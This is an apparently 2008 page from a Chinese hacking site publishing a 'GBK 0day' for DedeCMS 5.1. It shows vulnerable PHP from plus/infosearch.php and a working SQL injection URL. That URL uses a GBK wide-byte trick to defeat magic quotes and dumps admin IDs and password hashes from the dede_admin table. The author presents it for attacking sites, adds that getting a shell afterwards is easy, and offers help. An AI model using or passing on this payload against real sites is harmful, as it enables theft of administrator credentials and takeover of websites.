首 页文章中心黑客工具黑吧学院技术论坛安全培训免费频道最近更新瑞星在线杀毒黑吧百度繁體中文
  设为首页
加入收藏
发布作品
   
栏目导航
· 漏洞利用 · 脚本注入
· 入侵实例 · 编程代码
· 逆向工程
热门文章
· 如何封别人QQ
· 充QQ币的疯狂——宽...
· 免费得QB
· 400秒远程攻破你的Q...
· [图文] QQ免费建400个群
· [组图] 给你一台永远不关机...
· [注意] QQ宠物砸蛋秘诀
· 再次有机会免费获得...
· 想的挂QQvip的进
· 在QQ中将自己从对方...
相关文章
· 织梦(Dedecms)任意代...
· dedecms v5.1 漏洞
· [图文] 如何防止黑客利用新...
· dedecms注射漏洞
· DedeCMS 5.1 直接写...
· Dedecms V5可执行文...
· Dedecms getip()的漏...
· dedecms v5.1 Write...
· [图文] 教菜鸟来玩DedeCms ...
· dedecms v5.1 Write...
dedecms gbk版0day
作者:佚名  来源:转载  发布时间:2008-11-9 1:50:02  发布人:黑客动画吧

减小字体 增大字体

一个月前看了看了dedecms代码(只看了plus下的文件),发现有些变量人为控制没有过滤,但是在php的魔法引号这道天然屏障面前利用几率不好

但是联想到gbk的宽字符,突破方法就有了



漏洞文件:plus/infosearch.php

测试版本:5.1 gbk

描述:$q变量没有过滤直接进入查询,导致注入出现。代码如下:



PHP代码

$q = trim($q);    
if($areaid > 0) {    
 $wheresql = "areaid=$areaid and ";    
}    
   
$query = "select ID,typeid,title,memberID,writer,senddate from #@__infos where $wheresql title like '%$q%' order by senddate desc";    
   
   
$dlist = new DataList();    
   
   
$dlist->pageSize = 20;    
$dlist->SetParameter("q",$q);    
$dlist->SetParameter("action",'search');    
$dlist->SetParameter("areaid",$areaid);    
$dlist->SetSource($query);    



“‘”突破了,那就照常注入。

测试站:


http://www.xxx.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,id,4,pwd,6%20from%20dede_admin/*


至于后台拿shell,找不到后台的一样可以轻松拿到shell.不会的留言。

还有几个文件存在注入问题,象feedback.php,后续发放分析。
[ ] [返回上一页] [打 印] [收 藏]
下一篇文章:解决讨厌的Thumbs.db
 
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 网站导航 - 作品发布
互联网备案登记:粤ICP备05008775号
友情提示:浏览本站,请使用IE6.0浏览,并将分辩率设置为1024*768 为佳
Copyright © 2002-2005 Hack58.Com. All Rights Reserved .